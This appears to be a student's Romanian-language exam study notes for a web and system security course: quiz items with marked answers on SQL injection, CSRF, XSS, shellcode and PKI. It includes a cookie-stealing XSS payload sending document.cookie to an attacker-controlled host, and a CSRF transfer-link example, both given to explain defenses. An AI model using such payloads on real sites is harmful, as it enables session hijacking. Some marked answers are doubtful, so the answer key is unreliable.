
Care dintre urmatoarele reprezinta masuri pentru evitarea injectiilor SQL:

- [x] Verificari riguroase la nivelul backend-ului legate de validitatea datelor introduse precum si folosirea de biblioteci specializate pentru persistarea datelor (ORM-uri)
- [] Dezactivarea in cadrul aplicatiei Web a posibilitatii rularii de cod SQL de catre browser
- [] Verificari riguroase la nivelul browserului legate de validitatea datelor introduse (ce se executa pe frontend poate fi controlat, pot sa nu folosesc browserul)
- [x] Folosirea la nivelul backend-ului de mecanisme de tipul "prepared statement"

Cum se poate preveni o vulnerabilitate de tip SQL Injection?

- [] prin limitarea lungimii pentru fiecare dintre parametrii folositi in interogari
- [x] prin utilizarea de Prepared Statements
- [] prin adaugarea de apostroafe in jurul parameterilor folositi in interogari

Curs "Securitate Web"

Printre simptomele care arata ca un formular este injectabil se

numara - pagini albe la submit

- diferite mesaje de eroare / warning ce contin cod sau erori SQL de asemenea la submit- terminarea scriptului de pe backend cu erori HTTP 5xx

Mecanisme de protecție împotriva la SQL Injection constau în primul rând în validări riguroase pe back end. De altfel, majoritatea problemelor majore de securitate web, pot fi evitate dacă se fac validari pe back-end.

Validările pe back-end trebuie făcute chiar dacă sunt făcute pe front-end. Validările de pe front-end se fac în primul rând pentru un User Interface mai prietenos cu utilizatorul (exemplu, validări JavaScript care nu permit submit-ul la un formular dacă datele din formular nu sunt corecte), și nu neapărat pentru siguranța serverului. Ce se execută pe front-end (browser-ul utilizatorului) poate fi controlat / alterat de acesta prin diverse mecanisme (spre exemplu folosind Developer Tools), astfel că validările efectuate la nivelul codului client-side nu sunt de încredere („reliable”).

Pentru a evita interpretarea greșită a caracterelor precum " (ghilimele) sau ' (apostrof) la nivelul back-end-ului datele primite de la client trebuie evitate folosind `mysql_real_escape_string`. În cazul folosirii API-ului mai nou `mysqli_*` (MySQL Improved Extension) sau PDO (PHP Data Objects) se recomandă folosirea „prepared statement”-urilor (în terminologie Java) și asocierea dinamică („bind”) a parametrilor la interogarea SQL.

O tehnică naivă de evitare a injectiilor SQL este eliminarea caracterelor " (ghilimele) sau ' (apostrofe) din datele primite de la client, aceste caractere fiind considerate "periculoase" sau "țapul ispășitor" pentru injectiile SQL. Înlăturarea lor nu este de dorit în multe situații, putând duce la pierderea consistenței datelor primite de la client sau a semanticii acestor date.

Folosirea unui ORM (Object-relational mapping) precum Hibernate elimină de asemenea în mare măsură astfel de probleme – fiecare layer între front-end și back-end data base server aducând un plus de protecție.

Printre tehnicile de "convingere" a unui utilizator să acceseze involuntar un astfel de URL malițios (CSRF) se numără:

- încărcarea de pagini web aparent inofensive care conțin linkuri spre "imagini" (remarcați ghilimelele) de forma:

```
img src="http://www.scs.ubbcluj.ro/~bufny/pw/securitate/csrf/doTransfer.php?contdestinatie=gigi@example.com&suma=1000"
```

- tehnici de "social engineering": trimiterea prin e-mail/mesageria instant utilizatorului de diverse linkuri de forma: href="http://www.scs.ubbcluj.ro/~bufny/pw/securitate/csrf/doTransfer.php?contdestinati e=gigi@example.com&suma=1000">You win an iPhone!

Pentru a evita CSRF, se recomanda:

- delogarea explicită la finalul sesiunii de lucru (pentru a invalida cookie-ul de sesiune)
- neaccesarea altor resurse / site-uri / activități social network and social media în paralel cu sesiunea de Internet Banking
- includerea în cadrul formularelor care realizează operații "sensibile" (precum transferul bancar din exemplul de față) de token-i suplimentari ascunși de validare (sub forma unui input de tip hidden), token-i cu durata de viață limitată și nereutilizabili.

Care dintre următoarele reprezintă măsuri pentru evitarea vulnerabilităților de tip XSS:

- ☐ Folosirea la nivelul browserului a unor biblioteci de funcții JavaScript consacrate și testate anterior
- ☐ Verificări riguroase la nivelul browserului legate de validitatea datelor introduse
- ☒ Dezactivarea din cadrul aplicației web a posibilității rularii de cod JavaScript de către browser (technically should do)
- ☒ Înlocuirea anumitor caractere din datele primite de la client cu entitățile HTML corespunzătoare

Injectiile JavaScript se datorează:

- ☐ Unor buguri prezente la nivelul browserului web
- ☒ Validării insuficiente server-side la nivelul scriptului ce prelucrează datele din formular
- ☐ Validări insuficiente chiar la nivelul codului JavaScript - ☐ Folosirii protocolului http în locul protocolului https

Cum se poate "fura" un cookie de sesiune al unui alt utilizator?

- ☐ Prin interceptarea datelor la nivelul rețelei de transport în lipsa folosirii unei conexiuni sigure
- ☐ Prin lipsa invalidării sesiunii (logout) și navigarea în continuare pe un site malițios (duce la CSRF) - ☒ Prin intermediul unui cod JavaScript injectat de către atacator

Care dintre următoarele vulnerabilități ar putea fi exploatată pentru a fura sesiunea unui utilizator autentificat? - ☐ SQL Injection (definitely not)

- ☒ Cross-Site scripting (XSS)
- ☐ Cross-Site Request Forgery (CSRF) (makes use of the user's session, doesn't really steal it...)

Pentru a asigura securitatea unei aplicații web, unde este locul în care trebuie plasate validările asupra datelor introduse către utilizatori?

- ☐ validările privind autorizarea utilizatorilor de a efectua o acțiune trebuie să fie făcute client—side, iar privesc integritatea datelor trebuie făcute server—side

- [x] server-side
- [] client-side

Există inserat în baza de date de pe back-end următorul comentariu neaprobat: Acest comentariu este malitios.

Va dati seama de ce? `new Image().src="http://site-controlat-de-atacator.com/salveaza cookie.php?cookie="+document.cookie;`

Acest comentariu (împreună cu codul JavaScript aferent) se afișează pentru moderare administratorului după autentificarea acestuia. Codul JavaScript ce face parte integrantă din comentariu se va executa în browser-ul administratorului accesându-i acestuia cookie-ul de sesiune (PHPSESSID) și trimițându-l (prin intermediul request-ului care se face pentru a încărca imaginea "fake" nou creată) site-ului controlat de atacator. Ca efect, dacă atacatorul primește cookie-ul de sesiune al administratorului autentificat și și-l inserează în propriul browser, se poate "da" drept admin în cadrul aplicației respective fără a mai trece prin formularul de login practic request-urile făcute de atacator for fi legitime pentru că vor conține cookie-ul de sesiune al administratorului. Atacatorul va putea modera, aproba și șterge comentariile fără a cunoaște parola administratorului.

Validarea pe back-end este relativ simplă în PHP, presupune folosirea funcției `htmlentities` pentru filtrarea datelor de intrare (atât a numelui de utilizator cât și a comentariului) care transformă caracterele `<` și `>` în entitățile html corespunzătoare (`<` respectiv `>`). Acest fapt duce la neinterpretarea ca marcaj de tag a cuvântului `<script>` și implicit la neexecutarea codului JavaScript inserat (care nu mai este interpretat ca și cod JavaScript...).

Observație: Diverse resurse disponibile online recomandă în vederea validării datelor de intrare folosirea funcției `strip_tags` pentru evitarea injecțiilor JavaScript/XSS (funcția `strip_tags` înlătură tag-urile HTML din datele primite de la client). Uneori însă, poate este de dorit păstrarea tag-urilor din datele primite de la client: spre exemplu în cazul în care utilizatorul chiar dorește să posteze cod JavaScript în cadrul unei întrebări adresate pe stackoverflow.

Care dintre următoarele mecanisme limitează succesul exploit-urilor de tip shell code?

- [] Înlăturarea bitului de execuție de pe programul atacat
- [x] Data Execution Prevention
- [] Arhivarea (compactarea) stivei- [x] Randomizarea stivei

Prin shell code se înțelege:

- [] Codul în limbaj de asamblare al interpretorului de comenzi Unix
- [] Un exploit descris într-un fișier de comenzi și executat de către shell-ul UNIX
- [x] Un cod scris de obicei în limbaj de asamblare și care este injectat remote de către atacator pentru a-i oferi unshell <https://vividmachines.com/shellcode/shellcode.html>

Atacurile remote pot fi prevenite prin:

- [] Măsurile de securitate împotriva atacurilor locale
- [x] Instalarea de update-uri sistemului de operare

- [x] Folosirea unui firewall
- [x] Inchiderea porturilor si oprirea serviciilor inutile curs 6, slide "Securitate la nivelul sistemelor de operare server în Internet"

Detectarea unui virus poate fi îngreunată de: - [x] Caracterului metamorfic al acestuia

- [x] Suprascrierii anumitor apeluri sistem de către virus (the virus can overwrite for example ps at the operating system level, not only at the user level)
- [] Lipsa rutinei de multiplicare a virusului

Apelurile sistem Linux pot fi apelate ca funcții de la întreruperea: - [] 80

- [x] 80h
- [] 21h
- [] Apelurile sistem Linux sunt implementate în C nu ca funcții de la o anumită întrerupere
- [] 21

<https://vividmachines.com/shellcode/shellcode.html>

Caracterul NULL ('\0') nu apare de obicei în string-ul ce reprezintă shell code-ul deoarece:

- [] Octetul cu valoarea 0 nu reprezintă codul unei instrucțiuni valide în limbaj de asamblare (null is valid machinecode)
- [x] Majoritatea programelor exploatate sunt scrise în limbajul C, acest caracter ar marca terminarea prematură a datelor de intrare
- [] 00h nu este o adresă de revenire validă în cadrul stivei <https://vividmachines.com/shellcode/shellcode.html> question 7

Care dintre următorii factori fac ca un sistem de calcul să fie mai susceptibil la atacuri: - [x] Programele SUID-ate (pot fi folosite în atacuri de escaladare de privilegii)

- [x] Porturile deschise
- [x] Utilizatorii sub care rulează anumite servicii (rularea programelor sub utilizatori fictivi ajută ca atunci când sunt compromise, să nu fie compromis întregul sistem) curs 6 - slide "Securitate la nivelul sistemelor de operare server în Internet" -- escaladare de privilegii

Care dintre următorii factori conduc la răspândirea mai agresivă a webworm-urilor?

- [x] Omogenitatea aplicațiilor web folosite în Internet (slide 2, curs 4)
- [] Exportarea de către aplicațiile web a unei "semnături" ce indică numele și versiunea aplicației web ???
- [x] Numărul relativ mic de servere web folosite în Internet (Apache și IIS) (slide migrarea spre atacurile web) - [x] Folosirea motoarelor de căutare pentru a localiza alte sisteme vulnerabile (santy)

Ce este vulnerability window?

Intervalul de timp scurs între prima exploatare a unei vulnerabilități și dezvoltarea unui patch pentru acea vulnerabilitate.

- Vulnerability window > 0 (Zero-day attacks)
- Vulnerability window < 0 (Atacuri bazate pe vulnerabilități cunoscute public)

Prevenirea atacurilor remote sau locale.

Pentru crearea unei infrastructuri bazată pe chei publice și private este necesar:

- ☐ Generarea perechii (cheie publică, cheie privată) implicate în procesul de semnare și verificare a certificatelor digitale emise;
- ☒ Obținerea unui certificat digital semnat de către o autoritate de certificare recunoscută
- ☐ Obținerea unei perechi (cheie publică, cheie privată) de la o autoritate de certificare recunoscută

Care este cel mai uzual mod de transmitere a unei chei publice de către terți:

- ☐ Pe un canal alternativ care nu poate fi controlat de atacator - ☒ În cadrul unui certificat digital
- ☐ Pe un canal de comunicare criptat pentru a asigura confidențialitatea cheii (nu e nevoie fiindcă e publică) - ☐ Fiind vorba de o cheie publică, nu este important ca, canalul pe care este transmisă să fie sigur (canalul tot trebuie să fie sigur ca să eviți atacuri gen man-in-the-middle)

Pentru semnarea unui document de către o entitate este nevoie de:

- ☐ cheia publică a entității ce semnează
- ☒ hash-ul documentului
- ☐ documentul în sine
- ☒ cheia privată a entității ce semnează

Care dintre următoarele protocoale folosesc criptografia cu cheie publică:

- ☒ ssh
- ☐ nslookup (name secure lookup)
- ☐ smtp
- ☒ https

Cheia publică este folosită pentru

- ☒ criptarea mesajelor
- ☒ verificarea semnăturilor digitale
- ☐ semnarea documentelor
- ☐ decriptarea mesajelor ?? folosită pentru decriptarea mesajelor cu cheie privată

Cheia privată este

folosită pentru: - ☒

Decriptarea mesajelor

primite

- ☐ Criptarea mesajelor trimise

- ☐ Verificarea semnăturilor digitate - ☒ Semnarea documentelor

Diseminarea în siguranță către terți a cheii publice a unei entități se poate face:

- ☐ Odată cu diseminarea spre terți a cheii private
- ☐ Pe un canal alternativ securizat, diferit de cel pe care urmează să se facă comunicarea
- ☒ Prin intermediul unui certificat digital semnat
- ☐ Fiind vorba de cheia publică, nu trebuie luate măsuri suplimentare de siguranță, toată lumea putând cunoaște această cheie

Un certificat digital conține:

- ☒ cheia publică a persoanei careia îi se eliberează certificatul
- ☐ cheia publică a autorității de certificare care emite certificatul (not really...)
- ☐ cheia privată a persoanei careia îi se eliberează certificatul - ☐ cheia privată a autorității de certificare care emite certificatul

Un certificat digital autosemnat:

- ☐ Conține cheia privată corespunzătoare cheii publice cu care se face semnarea certificatului
- ☒ Conține cheia publică corespunzătoare cheii private cu care se face semnarea certificatului - ☐ Fiind autosemnat conține atât cheie publică cât și cheia privată corespunzătoare

Semnarea unui document se face

folosind: - ☒ cheia privată a

emitatorului mesajului

- ☐ cheia publică a emitatorului mesajului
- ☐ cheia privată a destinatarului mesajului - ☐ cheia publică a destinatarului mesajului

Semnarea unui document asigură:

- ☐ Datarea în timp a documentului
- ☐ Confidențialitatea datelor conținute în document
- ☒ Autenticitatea documentului
- ☒ Nemodificarea ulterioară a documentului

Care dintre următoarele afirmații sunt adevărate în ceea ce privește certificatele digitale Web client-side:

- ☐ Sunt semnate cu aceeași cheie privată cu care este semnat și certificatul serverului Web
- ☐ Folosite împreună cu protocolul SSL și cu autentificarea pe baza de user și parolă sporesc - ☐ securitatea autentificării și identificării clientului
- ☐ Sunt transmise clientului exclusiv pe canale de încredere (sigure)

Încrederea unui utilizator într-o autoritate de certificare:

- ☐ presupune emiterea de către autoritatea de certificare a unui certificat digital utilizatorului
- ☒ presupune cunoașterea de către utilizator a cheii publice a autorității de certificare
- ☐ presupune cunoașterea de către utilizator a cheii private a autorității de certificare

Un certificat digital ajută la:

- ☒ Verificarea integrității și autenticității unui mesaj semnat de către persoana careia îi este emis certificatul digital

- ☐ Decriptarea unui mesaj criptat de persoana careia ii este emis certificatul ?? - ☐ Criptarea unui mesaj destinat persoanei careia ii este emis certificatul

Autoritatile de marca temporală care dovedesc existența unui document la un anumit moment de timp: - ☐ Semnează și ele documentul

- ☐ Stochează documentul
- ☒ Semnează un hash al documentului

Ce memorează autoritățile de marca temporală?

- ☐ nu memorează nimic, doar semnează, validitatea semnăturii putând fi ușor dovedită cu ajutorul cheii publice a autorității de marca temporală
- ☒ cererile și răspunsurile venite spre și dinspre acestea- ☐ documente semnate

Ce se trimite unei autorități de marca temporală pentru a dovedi că un anumit document există la un anumit moment în timp? - ☐ documentul semnat

- ☐ documentul, semnatura și momentul de timp
- ☒ un hash al documentului și o semnatura (documentul NU se trimite) see "Time-Stamping"

Vulnerabilitatea funcțiilor de hash este dată de:

- ☐ baze de date ce conțin perechi x, y unde $\text{hash}(x) = y$
- ☒ un codomeniu având cardinalitate mică
- ☒ coliziuni
- ☐ compromiterea confidențialității algoritmului funcției de hash și aducerea acestuia la cunoștința publică

Un hash poate fi decriptat cu atât mai ușor cu cât:

- ☐ lungimea cheii folosite de funcția hash este mai mică
- ☐ calculatorul pe care se fac calculele este mai rapid
- ☒ un hash nu poate fi decriptat

curs "Securitate Web":

- "un hash nu poate fi decriptat (poate fi cel mult găsită o altă expresie care să „ducă” în același hash);"
- "funcțiilor de hash le lipsește ceea ce se cheamă cheie (nu există o cheie de criptare/decriptare);"
- "funcțiile de hash nu au inversă (funcție de decriptare), nefiind bijective, nefiind injective (pot exista două șiruri diferite de caractere care să ducă în același hash)."

Funcția aplicată pe text și pe cheia privată poate asigura: (i have no fucking idea) - ☒ nonrepudierea mesajului

- ☒ autenticitatea mesajului
- ☒ integritatea mesajului
- ☐ confidențialitatea mesajului

Care dintre următoarele reprezintă scheme de validare a unui certificat digital:

- ☐ CRLs - Certificate Revocation Lists

- ☐ DCVP - Digital Certificate Validation Process (isn't even a real thing)
- ☒ OCSP - Online Certificate Status Protocol (scheme de validare bazate pe protocoale online)

Orice algoritm de criptare poate fi spart prin:

- ☐ vulnerabilitati in functia de hashing a cheii
- ☒ reverse engineering (dezasamblarea) unui program ce implementeaza algoritmul de criptare- ☐ folosind calculatoare cuantice
- ☐ derivarea functiei de hash folosita de algoritmii pe curbe eliptice- ☒ criptanaliza brute force (brute force cryptanalysis)

Care dintre urmatoarele reprezinta proprietati care trebuie sa fie respectate de catre o semnatura electronica: - ☒ nealterabila (orice alterare a continutului documentului face ca semnatura sa nu mai fie verificabil cu cheia publica)

- ☒ nerepudiabila (receptorul documentului nu are nevoie de ajutorul emitatorului pentru verificarea semnaturii) - ☒ autentica (deoarece se verifica numai cheia publica a emitatorului)
- ☒ nereutilizabila (deoarece ea este functie de continutul documentului, cel care este criptat)
- ☒ nefalsificabila (deoarece numai emitatorul cunoaste cheia secreta) diferita de o semnatura digitala!!

Care dintre urmatoarele afirmatii sunt adevarate in ceea ce priveste o semnatura digitala:

- ☒ Semnatura digitala este de fapt un hash (see "Digital Signatures", course 10-11)
- ☐ Orice document semnat digital poate fi datat in timp
- ☒ Semnatura digitala este criptata cu ajutorul unei chei private
- ☐ Pentru a aplica o semnatura digitala mai este nevoie de cel putin inca o parte implicata care sa semneze si eadocumentul (autoritate de certificare, notal electronic, partenerul cu care se semneaza un contract digital, etc)

Care dintre urmatoarele afirmatii despre procesul de schimb de chei sunt adevarate in contextul folosirii de algoritmi de criptare simetrici, respectiv asimetrici?

- ☐ Schimbul de chei pe un alt canal/mecanism diferit de comunicare alternativ trebuie sa se realizeze doar in cazul algoritmilor de criptare asimetrici (Diffie Helmann happens on the same channel)
- ☐ In ambele situatii, schimbul de chei trebuie sa se desfasoare pe un alt canal / printr-un mecanism de comunicare alternativ
- ☐ In ambele situatii, schimbul de chei se poate realiza pe acelasi canal / prin acelasi mecanism prin care are locsi comunicarea
- ☒ Schimbul de chei pe un alt canal / mecanism diferit de comunicare alternativ trebuie sa se realizeze doar in cazul algoritmilor de criptare simetrici